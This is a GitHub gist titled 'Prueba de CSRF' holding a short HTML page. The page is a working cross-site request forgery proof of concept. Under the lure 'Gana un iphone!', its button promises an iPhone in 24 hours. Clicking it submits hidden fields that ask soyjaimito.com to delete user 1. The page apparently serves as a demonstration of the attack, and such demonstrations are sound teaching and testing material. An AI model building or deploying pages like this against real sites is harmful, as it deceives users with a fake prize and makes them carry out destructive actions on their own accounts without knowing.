Skip to content

Instantly share code, notes, and snippets.

@igmoweb
Created November 29, 2017 14:16
Show Gist options
  • Save igmoweb/5a3c7bd66524d42c3eda317822e77362 to your computer and use it in GitHub Desktop.
Save igmoweb/5a3c7bd66524d42c3eda317822e77362 to your computer and use it in GitHub Desktop.
Prueba de CSRF
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Gana un iphone!</title>
</head>
<body>
<form action="http://www.soyjaimito.com" id="esto-pica" method="post">
<input type="hidden" name="user_id" value="1">
<input type="hidden" name="delete-user" value="delete-user">
<input type="submit" value="Pincha aquí y recibe tu iPhone en 24h!!">
</form>
<style>
#esto-pica input[type="submit"]{
background: #6183ff;
color:black;
font-size:30px;
width:50%;
margin:100px auto;
display: block;
}
</style>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment